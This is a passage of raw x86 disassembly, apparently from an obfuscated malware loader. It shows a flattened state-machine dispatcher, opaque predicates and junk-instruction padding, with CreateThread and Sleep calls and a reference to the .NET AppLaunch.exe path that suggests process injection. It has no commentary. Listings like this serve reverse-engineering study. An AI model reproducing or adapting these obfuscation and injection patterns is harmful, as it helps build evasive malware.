and eax, 0x21c28121
and ecx, edx
not edx
and edx, 0xcc305084
or eax, edx
xor eax, 0x21c28121
or eax, ecx
not ecx
and ecx, 0x120d2e5a
and eax, 0xedf2d1a5
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x95088319
and ecx, 0x6af77ce6
or ecx, eax
mov eax, ecx
xor eax, 0x94000201
xor ecx, 0x8a73c80
and ecx, 0x9afbd98
and eax, 0xf6504267
or eax, ecx
xor eax, 0xf6504267
setne dl
sete ah
cmp dword [0x482580], 0xa
setl ch
setge al
mov cl, ch
and dl, ch
or ch, ah
and al, ah
xor ch, 1
or al, dl
xor cl, ah
or al, ch
mov ch, cl
mov edx, eax
xor ch, 1
not dl
and dl, ch
or ch, al
and al, cl
or al, dl
mov edx, 0x6fbca3f4
mov cl, al
xor cl, ch
test al, al
mov eax, 0xe326516b
cmovne eax, edx
test ch, ch
cmovne eax, esi
jmp 0x40cfe8
cmp eax, 0x3a8f81a9
jle 0x405359
cmp eax, 0x3bb4051c
jle 0x406adf
cmp eax, 0x3bb4051d
je 0x409fb9
cmp eax, 0x3ec368f0
je 0x409fcc
cmp eax, 0x3ecfba30
jne 0x401d70
mov eax, 0xd3f18a64
jmp 0x401d70
cmp eax, 0xaa683b43
jle 0x4055ab
cmp eax, 0xad3de8a2
jle 0x406ca9
cmp eax, 0xad3de8a3
je 0x409fe1
cmp eax, 0xb00a55ab
je 0x409ffa
cmp eax, 0xb0565609
jne 0x401d70
mov eax, dword [ebp - 0x4c]
mov eax, 0x23aaec2d
jmp 0x401d70
cmp eax, 0x75cad42b
jle 0x406ccc
cmp eax, 0x75cad42c
je 0x40a004
cmp eax, 0x75d7b9e4
je 0x40a136
cmp eax, 0x78c1eb34
jne 0x401d70
mov eax, 0x49d60020
jmp 0x401d70
cmp eax, 0xc2f4437a
jle 0x406d05
cmp eax, 0xc2f4437b
je 0x40a171
cmp eax, 0xc3eff44b
je 0x40a181
cmp eax, 0xc4b806a0
jne 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x7813286
mov esi, eax
mov edi, eax
or esi, 0xa0404840
and edx, 0xa7c17ac6
and edi, 0x10120509
and eax, 0xaee4465
or edi, edx
mov edx, ecx
and esi, 0xa7c17ac6
and edx, 0x482c8030
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xb0524d48
and esi, 0x4fadb2b7
or edx, esi
mov esi, edx
not esi
mov edi, edx
or edx, ecx
and ecx, 0xf511bb9a
and edi, 0xf511bb9a
and esi, 0xaee4465
or eax, ecx
not edx
or esi, edi
mov edi, 0xf80bd9c7
xor eax, esi
mov esi, 0x391bb2e8
or edx, eax
xor edx, 0xffffffff
setne dl
sete al
cmp dword [0x482580], 0xa
mov ch, dl
setl ah
setge cl
and ch, cl
and ah, al
or ah, ch
mov ch, ah
xor ch, cl
xor cl, dl
and ch, ah
mov eax, 0xf80bd9c7
xor cl, ch
mov edx, ecx
cmovne eax, esi
not dl
test dl, ch
cmove eax, edi
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x401d70
cmp eax, 0x153df7ad
jle 0x406d25
cmp eax, 0x153df7ae
je 0x40a2d6
cmp eax, 0x161e3268
je 0x40a2e0
cmp eax, 0x17772211
jne 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x879e294e
and ecx, 0x7861d6b1
or edx, ecx
xor edx, 0x879e294e
or eax, edx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0x9c4d706e
and eax, 0x63b28f91
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xe3108bd7
mov esi, ecx
and esi, 0x1cef7428
or edx, esi
mov esi, eax
xor esi, 0x63108b90
xor eax, 0x9c4d706f
or ecx, eax
and eax, 0x1cef7428
and esi, 0xe3108bd7
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x8630f693
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xb41c4fd7
andn ecx, ecx, ecx
and edx, 0x4be3b028
or eax, edx
xor eax, 0xb41c4fd7
or ecx, eax
setne dl
sete ah
cmp dword [0x482580], 0xa
setl al
setge cl
and ah, cl
and al, dl
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor ah, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov edx, ecx
xor dl, ah
test ah, ah
mov eax, 0x9b620e68
cmovne eax, esi
test cl, 1
mov ecx, 0x9b620e68
jmp 0x405fd3
cmp eax, 0x900f8563
jle 0x406e42
cmp eax, 0x900f8564
je 0x40a417
cmp eax, 0x9087079d
je 0x40a42a
cmp eax, 0x91add286
jne 0x401d70
mov eax, dword [ebp - 0x88]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x5c]
mov eax, 0x110982f3
jmp 0x401d70
cmp eax, 0x52da59a6
jle 0x406e6e
cmp eax, 0x52da59a7
je 0x40a4b1
cmp eax, 0x5350eadf
je 0x40a5bc
cmp eax, 0x538106a1
jne 0x401d70
mov eax, 0xb6658d81
jmp 0x401d70
cmp eax, 0xf096bbc7
jle 0x406e9d
cmp eax, 0xf096bbc8
je 0x40a690
cmp eax, 0xf0ecab1d
je 0x40a69d
cmp eax, 0xf17766fe
jne 0x401d70
mov eax, dword [ebp - 0x20]
mov eax, 0xf33b884e
jmp 0x401d70
cmp eax, 0x31f842ab
jle 0x406ec0
cmp eax, 0x31f842ac
je 0x40a6b0
cmp eax, 0x3305e03f
je 0x40a6cb
cmp eax, 0x33190e2b
jne 0x401d70
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0xc]
add eax, dword [ebp - 0x144]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x10]
mov dword [ebp - 0x154], eax
mov eax, 0x51fdea70
jmp 0x401d70
cmp eax, 0xa1cf38ba
jle 0x406fae
cmp eax, 0xa1cf38bb
je 0x40a6db
cmp eax, 0xa225629e
je 0x40a705
cmp eax, 0xa6455435
jne 0x401d70
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, 0x96e21c44
jmp 0x401d70
cmp eax, 0x6f50ed1b
jle 0x406fd7
cmp eax, 0x6f50ed1c
je 0x40a71b
cmp eax, 0x6f70d52c
je 0x40a725
cmp eax, 0x6fbca3f4
jne 0x401d70
mov eax, dword [ebp - 0x64]
mov ecx, dword [0x482584]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x41501c00
mov edi, eax
xor edi, 0x4d561c2c
mov esi, edx
and esi, 0xc06002c
and edi, eax
and edx, 0xdcaafaf6
and eax, 0x23550509
or ecx, esi
or eax, edx
xor ecx, 0x41501c00
xor eax, 0x23550509
or ecx, edi
not edi
and edi, 0xb2a9e3d2
and ecx, 0x4d561c2d
or ecx, edi
not ecx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1e413083
and ecx, 0xe1becf7c
or eax, ecx
xor eax, 0x1e413083
setne cl
sete ch
cmp dword [0x482580], 0xa
setge ah
mov dl, ah
xor cl, ah
xor dl, ch
mov al, cl
or ch, ah
xor cl, 1
and dl, ah
and al, ah
xor dl, 1
xor al, 1
mov ah, dl
mov dh, al
or al, ch
xor ah, cl
or cl, dl
xor dh, ch
xor al, 1
xor cl, 1
or al, dh
or cl, ah
mov ch, al
mov edx, ecx
xor dl, 1
and cl, dl
mov ah, dl
xor ch, dl
xor cl, 1
xor ah, cl
or cl, dl
or dl, al
xor cl, 1
xor dl, 1
or cl, ah
or dl, ch
mov ah, cl
xor cl, 1
mov ch, dl
and ah, al
xor al, 1
and cl, al
or cl, ah
mov eax, 0x64e9aa8b
xor ch, cl
test dl, 1
mov edx, 0xe326516b
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0x64e9aa8b
cmove eax, edx
jmp 0x401d70
cmp eax, 0xdf2eb058
jle 0x407006
cmp eax, 0xdf2eb059
je 0x40a73a
cmp eax, 0xe0d72d4d
je 0x40a744
cmp eax, 0xe2488beb
jne 0x401d70
mov eax, 0xf903aa61
jmp 0x401d70
cmp eax, 0x1f7e4b96
jle 0x40703d
cmp eax, 0x1f7e4b97
je 0x40a823
cmp eax, 0x21eb3482
je 0x40a853
cmp eax, 0x2338bed1
jne 0x401d70
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x1975254f
jmp 0x401d70
cmp eax, 0x978ebf42
jle 0x407084
cmp eax, 0x978ebf43
je 0x40a99e
cmp eax, 0x982da096
je 0x40ab2c
cmp eax, 0x985a0bc0
jne 0x401d70
mov eax, 0xa0a8ee06
jmp 0x401d70
cmp eax, 0x6062f491
jle 0x4070a4
cmp eax, 0x6062f492
je 0x40ab3c
cmp eax, 0x6088a57a
je 0x40ac18
cmp eax, 0x60b44b14
jne 0x401d70
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x418b3515
and edx, 0x211f6a59
mov esi, eax
and esi, 0xbe74caea
and eax, 0xdee095a6
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xf9ade52c
and esi, 0x6521ad3
or ecx, esi
mov esi, ecx
xor esi, 0x6c00586
xor ecx, 0xf826d039
mov edi, ecx
and edi, 0x211f6a59
and esi, 0xdee095a6
or esi, edi
xor eax, esi
not eax
or eax, ecx
cmp eax, 0xffffffff
mov eax, 0x3a8f81aa
setne byte [ebp - 0x7d]
jmp 0x401d70
cmp eax, 0xfe873264
jle 0x4070c4
cmp eax, 0xfe873265
je 0x40ac22
cmp eax, 0xfef31e8d
je 0x40ac2c
cmp eax, 0xff1c1d73
jne 0x401d70
mov eax, dword [ebp - 0x20]
mov eax, 0xcf47dd8d
jmp 0x401d70
cmp eax, 0x49d3a2e6
jle 0x4070ed
cmp eax, 0x49d3a2e7
je 0x40ac47
cmp eax, 0x49d60020
je 0x40ac51
cmp eax, 0x4adb3fd9
jne 0x401d70
cmp byte [ebp - 0x77], 0
mov eax, 0x4e25a8e0
mov ecx, 0x1ef2273d
cmovne eax, ecx
jmp 0x401d70
cmp eax, 0xb6be641c
jle 0x40711b
cmp eax, 0xb6be641d
je 0x40ad41
cmp eax, 0xb6c0a782
je 0x40ad72
cmp eax, 0xba9bfa10
jne 0x401d70
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
add eax, dword [ebp - 0xa0]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, 0xe798b582
jmp 0x401d70
cmp eax, 0x7ef56d42
jle 0x407146
cmp eax, 0x7ef56d43
je 0x40ae47
cmp eax, 0x7f2eeb0f
je 0x40af4b
cmp eax, 0x7f66fb2e
jne 0x401d70
mov eax, 0xe0a6002
jmp 0x401d70
cmp eax, 0xcaef5580
jg 0x40722e
cmp eax, 0xc9f9d575
je 0x40b0f9
cmp eax, 0xca90a753
jne 0x40d5db
cmp dword [ebp - 0x1d8], 0
mov eax, 0x9424a6f4
mov ecx, 0x60b44b14
cmovns eax, ecx
jmp 0x401d70
cmp eax, 0x12cee25
jg 0x40724e
cmp eax, 0x6c7b0e
je 0x40b103
cmp eax, 0xb1a882
jne 0x401d70
mov eax, 0x1e3d820b
jmp 0x401d70
cmp eax, 0x85e1cc02
jg 0x40726e
cmp eax, 0x82107644
je 0x40b11e
cmp eax, 0x84695eee
jne 0x401d70
cmp dword [ebp - 0xd8], 0
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
sets byte [ebp - 0x7a]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x88c15613
and edi, 0x773ea9ec
and edx, 0x48a06549
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xb75f9ab6
mov ebx, esi
not ebx
and esi, 0x773ea9ec
or eax, edx
or ecx, ebx
and ebx, 0x88c15613
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xc7d354c9
mov esi, edx
and esi, 0x382cab36
or ecx, esi
mov esi, eax
xor esi, 0x87531080
xor eax, 0x8202100
and eax, 0x382cab36
and esi, 0xc7d354c9
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xa90e182d
sete ch
setne dl
cmp dword [0x482580], 0xa
setge al
setl cl
mov ah, al
or al, ch
xor ah, dl
or dl, cl
or cl, ch
mov ch, al
xor cl, 1
or al, dl
xor ch, dl
or cl, ah
xor al, 1
mov ah, cl
mov edx, ecx
or al, ch
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov cl, ah
xor dl, al
xor cl, al
or al, ah
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x96281b84
cmovne ecx, esi
test al, 1
mov eax, 0x96281b84
cmovne eax, ecx
jmp 0x40c963
cmp eax, 0x4d113ded
jg 0x40737c
cmp eax, 0x4bcd3fac
je 0x40b12b
cmp eax, 0x4c76cd93
jne 0x401d70
mov eax, 0xceb8c7b9
jmp 0x401d70
cmp eax, 0xe3d13181
jg 0x407492
cmp eax, 0xe29fa3c5
je 0x40b135
cmp eax, 0xe326516b
jne 0x401d70
mov eax, dword [ebp - 0x64]
mov eax, 0x6fbca3f4
jmp 0x401d70
cmp eax, 0x25bc6b99
jg 0x4074c3
cmp eax, 0x23aaec2d
je 0x40b24c
cmp eax, 0x252d1b12
jne 0x401d70
mov eax, dword [ebp - 0x50]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x10c], eax
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x2820000
and ecx, 0xb56d7dc0
and eax, 0x4810823f
or edx, eax
xor edx, 0x2820000
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xb8b51185
and eax, 0x474aee7a
or ecx, eax
mov edx, ecx
xor edx, 0xf22793ba
xor ecx, 0xdd86c45
mov eax, ecx
mov esi, edx
or eax, 1
and ecx, 0xfffffffe
and esi, 1
and edx, 0xb3e1336e
or esi, ecx
mov ecx, eax
and ecx, 0x4c1ecc90
or edx, ecx
mov ecx, esi
not ecx
and esi, 0xb3e1336f
or eax, ecx
and ecx, 0x4c1ecc90
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xe2080328
and eax, 0x1010041
mov edx, ecx
or edx, 0x1c90cc94
and esi, 0xfe98cfbc
and ecx, 0x663002
and edx, 0xfe98cfbc
or ecx, esi
mov esi, 0x877cb596
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x9aec4e79
and ecx, 0x6513b186
or eax, ecx
xor eax, 0x861ab2ef
setne dl
sete ch
cmp dword [0x482580], 0xa
setge al
setl cl
mov ah, al
xor ah, ch
xor ch, cl
or cl, dl
and ch, dl
xor cl, 1
and ah, al
xor al, dl
or cl, ch
or al, ah
mov ah, cl
mov edx, ecx
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x3ecfba30
cmovne ecx, esi
test al, 1
mov eax, 0x3ecfba30
jmp 0x40cd04
cmp eax, 0x9a2abd54
jg 0x4075a1
cmp eax, 0x989a700b
je 0x40b25c
cmp eax, 0x99867d9f
jne 0x401d70
mov ecx, dword [ebp - 0x124]
mov eax, 0xda90c280
mov dword [ebp - 0xe8], ecx
jmp 0x401d70
cmp eax, 0x62bfb360
jg 0x4075cc
cmp eax, 0x61c8923f
je 0x40b266
cmp eax, 0x62b00aff
jne 0x401d70
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x18c], eax
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xae4d9c10
and ecx, 0x51b263ef
or ecx, edx
xor ecx, 0xae4d9c10
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x482580], 0xa
setge cl
xor al, cl
and cl, al
xor cl, 1
mov edx, ecx
or cl, al
xor dl, al
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
or cl, al
mov eax, 0xdf2eb059
xor dl, 1
mov ch, dl
xor ch, cl
test dl, 1
mov edx, 0xad3de8a3
cmovne eax, edx
test cl, 1
not ch
cmovne eax, edx
test ch, 1
mov edx, 0xdf2eb059
cmove eax, edx
jmp 0x401d70
cmp eax, 0xceb8c7b8
jg 0x4076dd
cmp eax, 0xcd3f2a0e
je 0x40b279
cmp eax, 0xce9d6db3
jne 0x401d70
mov eax, dword [ebp - 0xf8]
mov eax, 0x1350a2dc
jmp 0x401d70
cmp eax, 0x194a0314
jg 0x4078a1
cmp eax, 0x17dafa4d
je 0x40b3c9
cmp eax, 0x1870b59c
jne 0x401d70
mov ecx, dword [0x482584]
mov edi, 0x85e1cc03
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
and ecx, 0x65923c78
and edx, eax
not eax
mov esi, eax
and esi, 0x9a6dc386
or ecx, esi
mov esi, 0x9f1c528d
xor ecx, 0x65923c78
or edx, ecx
not edx
or edx, eax
xor edx, 0xffffffff
sete al
setne dl
cmp dword [0x482580], 0xa
setl ch
setge ah
mov dh, ch
or al, ah
xor dh, dl
or dl, ch
xor al, 1
mov cl, dh
xor dl, 1
xor cl, ah
or al, dl
and cl, dh
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
mov edx, 0x9f1c528d
cmove esi, edx
cmovne esi, edi
test al, al
cmovne esi, edi
mov eax, esi
jmp 0x401d70
cmp eax, 0x926f5afa
jg 0x407a17
cmp eax, 0x91ee123e
je 0x40b5ea
cmp eax, 0x92027c61
jne 0x401d70
mov eax, 0x8cf4fa3a
jmp 0x401d70
cmp eax, 0x56bc81f5
jg 0x407a43
cmp eax, 0x567d96c4
je 0x40b602
cmp eax, 0x5696db72
jne 0x401d70
mov eax, 0x92817597
jmp 0x401d70
cmp eax, 0xf2c2b88b
jg 0x407a63
cmp eax, 0xf191b9aa
je 0x40b6d8
cmp eax, 0xf1cb03e8
jne 0x401d70
mov eax, 0x6966769d
jmp 0x401d70
cmp eax, 0x391bb2e7
jg 0x407be1
cmp eax, 0x34e88f50
je 0x40b7c5
cmp eax, 0x38047515
jne 0x401d70
mov eax, dword [ebp - 0x98]
vmovups ymm1, ymmword [0x42f1a0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x42f1c0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1e4]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, 0x24
mov dword [ecx], eax
inc eax
imul edi
add ebx, 0x3a
and ebx, 0x98
add edi, 0xe5
dec esi
ror eax, 0x10
rol ebx, 0x42
inc eax
not ebx
not ebx
imul esi
mov eax, 0x5e
dec esi
inc esi
or ebx, 0x46
inc eax
and ebx, 0x62
imul esi
rcr edi, 0xb6
not esi
not edx
sub edi, 0x5e
dec edi
dec edi
mov edi, 0xb2
sub edx, 0xc1
dec edx
dec esi
add edx, 0xdb
rcr edx, 0x91
mov ebx, 6
or esi, 0x50
mov eax, 0xa3
rcr edi, 0xf5
inc ebx
sub ebx, 0xdb
neg ebx
add edi, 0x68
sub esi, 0xd
rol esi, 6
inc esi
ror edx, 0xca
dec eax
inc eax
dec edi
not eax
or esi, 0xfd
ror edi, 0x1b
bswap edx
or edx, 0x5d
bswap eax
rcr edi, 0x81
bswap eax
neg edx
sub ebx, 0x48
neg edi
and edi, 0x35
rol edi, 0xad
inc esi
bswap eax
mov edi, 0
sbb edx, 0x58
not eax
inc edx
inc esi
imul edi
mov esi, 0x3f
neg esi
rcl edi, 0x6d
add ebx, 0xbd
not edx
rcl eax, 0xce
neg esi
bswap edx
bswap esi
rcr eax, 0x31
neg edi
or edx, 0x60
rol esi, 0x71
rcr edx, 0x39
and ebx, 0x14
add esi, 5
mov eax, 0x95
or ebx, 0x85
mov edx, 0xa4
neg edx
or eax, 0x75
inc ebx
sbb edx, 0x90
neg edx
rcr eax, 0xa8
not ebx
bswap eax
rol edx, 0x1c
not eax
bswap eax
not edi
sbb edi, 0xd0
dec edx
imul edi
rol esi, 0x1d
rcl edi, 0xda
neg eax
rcr ebx, 0xf
bswap eax
or ebx, 0x59
rcl eax, 0x89
neg esi
bswap ebx
mov eax, 0xaa
dec edx
dec esi
ror ebx, 0x9d
rol eax, 0x22
not eax
not edx
rcl edi, 0x58
ror esi, 0x76
neg esi
and ebx, 0x47
not ebx
imul edi
rol ebx, 0xd
add edx, 0xf4
or eax, 0x53
inc eax
bswap edx
bswap esi
mov ebx, 0x38
not edi
neg eax
bswap esi
imul edi
rcr eax, 0x62
bswap edx
rol eax, 0x82
imul edi
or edx, 0x83
mov eax, 0x36
not esi
imul edi
imul edi
sub eax, 0x44
rcl eax, 0x26
not edx
or edx, 0x35
rol eax, 0x61
sbb edx, 0xde
bswap eax
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov ecx, 0x6966769d
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x42f1d8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x6c]
setne byte [eax]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x6c]
cmp byte [eax], 0
mov eax, 0x666c5b62
cmove eax, ecx
jmp 0x401d70
cmp eax, 0xa91f0f37
jg 0x407ced
cmp eax, 0xa8d96277
je 0x40b7ef
cmp eax, 0xa90e182d
jne 0x401d70
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, 0x84695eee
jmp 0x401d70
cmp eax, 0x7001c94a
je 0x40b803
cmp eax, 0x70344eac
jne 0x401d70
mov eax, 0xb1a882
jmp 0x401d70
cmp eax, 0xbbf302a1
je 0x40b80d
cmp eax, 0xbdbc2126
jne 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
not eax
or esi, 0x8b07d032
mov edi, eax
mov edx, esi
and edx, 0x22e0ead6
and edi, 0x54180509
and eax, 0x18694a5d
or edi, edx
mov edx, ecx
xor edx, 0x74f82fcd
and edx, ecx
mov ebx, edx
not ebx
and edx, 0xdd1f1529
or esi, ebx
and ebx, 0x22e0ead6
or edx, ebx
not esi
xor edx, edi
or esi, edx
mov edx, esi
not edx
and esi, 0xa565a664
and edx, 0x5a9a599b
or esi, edx
mov edx, esi
xor edx, 0x900180a0
xor esi, 0xa427456
and esi, 0x4bde7d5e
and edx, 0xb42182a1
or edx, esi
mov esi, edx
xor esi, 0x10210201
xor edx, 0x4bde7d5e
mov edi, edx
or edx, ecx
and ecx, 0xe796b5a2
and edi, 0xe796b5a2
and esi, 0x18694a5d
or esi, edi
or eax, ecx
not edx
mov edi, 0xcba12f49
xor eax, esi
mov esi, 0x301bbdcc
or edx, eax
mov eax, edx
not eax
and edx, 0xf48db997
and eax, 0xb724668
or edx, eax
xor edx, 0xf48db997
sete dl
setne al
cmp dword [0x482580], 0xa
setge ah
setl cl
xor ah, dl
xor al, cl
or cl, dl
xor ah, 1
xor cl, 1
mov edx, eax
or cl, ah
not dl
mov ah, cl
not ah
and ah, al
or al, cl
and cl, dl
or cl, ah
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xcba12f49
cmovne ecx, esi
test al, al
cmovne ecx, edi
test dl, dl
jmp 0x40a686
cmp eax, 0x9f60d4e
je 0x40b828
cmp eax, 0xe0a6002
jne 0x401d70
mov eax, dword [ebp - 0x180]
mov ecx, 0x45b09687
cmp eax, dword [ebp - 0x184]
mov eax, 0x8876a565
cmovl eax, ecx
jmp 0x401d70
cmp eax, 0x8ba37034
je 0x40b97c
cmp eax, 0x8bfab40c
jne 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xbbe63fb7
mov ecx, eax
xor ecx, 0xf2293ab7
and edx, 0x4419c048
andn ecx, eax, ecx
or edx, esi
mov eax, edx
mov esi, edx
xor eax, 0x4419c048
xor esi, 0xb630faff
xor edx, 0x8a6029b5
and esi, eax
and edx, 0x8e69a9fd
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xdd6c549
and esi, 0xf2293ab6
or ecx, esi
mov esi, eax
and esi, 0x71965602
and eax, 1
or esi, edx
xor esi, 0x8e69a9fc
or eax, esi
mov esi, 0xc2f4437b
mov edx, eax
not edx
and eax, 0xc34486e4
and edx, 0x3cbb791b
or eax, edx
xor eax, 0xc34486e4
or eax, ecx
mov ecx, eax
xor ecx, 0xf54f73f3
mov edx, eax
and edx, 0xc44a3000
and ecx, eax
not eax
and eax, 0x310543f3
or edx, eax
xor edx, 0xc44a3000
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x6ca68a28
and eax, 0x935975d7
or ecx, eax
mov eax, ecx
xor eax, 0x9e8719a
xor ecx, 0x66160624
mov edx, ecx
and edx, 0x96118e65
and eax, 0x69ee719a
or eax, edx
xor eax, 0x69ee719a
or eax, ecx
cmp eax, 0xffffffff
setne ah
cmp dword [0x482580], 0xa
setge ch
mov dl, ch
inc dl
mov cl, dl
and cl, ch
xor cl, 1
or cl, dl
xor cl, 1
or cl, ch
mov al, cl
xor al, ah
mov dh, al
and al, cl
and dh, ah
xor al, 1
xor dh, 1
mov cl, dh
xor cl, al
or al, dh
xor al, 1
or al, cl
mov cl, ah
and ah, dl
inc cl
or dl, cl
and cl, ch
mov ch, al
or cl, ah
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
mov edx, ecx
and ch, ah
xor dl, 1
xor ch, 1
and dl, cl
or ch, ah
xor dl, 1
or ah, cl
xor ch, 1
or ch, al
mov al, dl
or dl, cl
xor al, cl
xor dl, 1
or dl, al
mov al, ah
xor dl, ch
mov ecx, 0x3f010fc6
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x3f010fc6
jmp 0x401d59
cmp eax, 0x4faa7e05
je 0x40b986
cmp eax, 0x503c6a0b
jne 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and edx, 0x9cf05477
and eax, 0x630fab88
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov edx, eax
xor edx, 0x630fab88
xor eax, 0x9cf05477
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x482580], 0xa
mov dh, ah
setge ch
setl al
mov cl, ch
or dh, al
xor al, ah
or cl, dl
xor dl, ch
xor dh, 1
and dl, ch
xor cl, 1
xor dl, 1
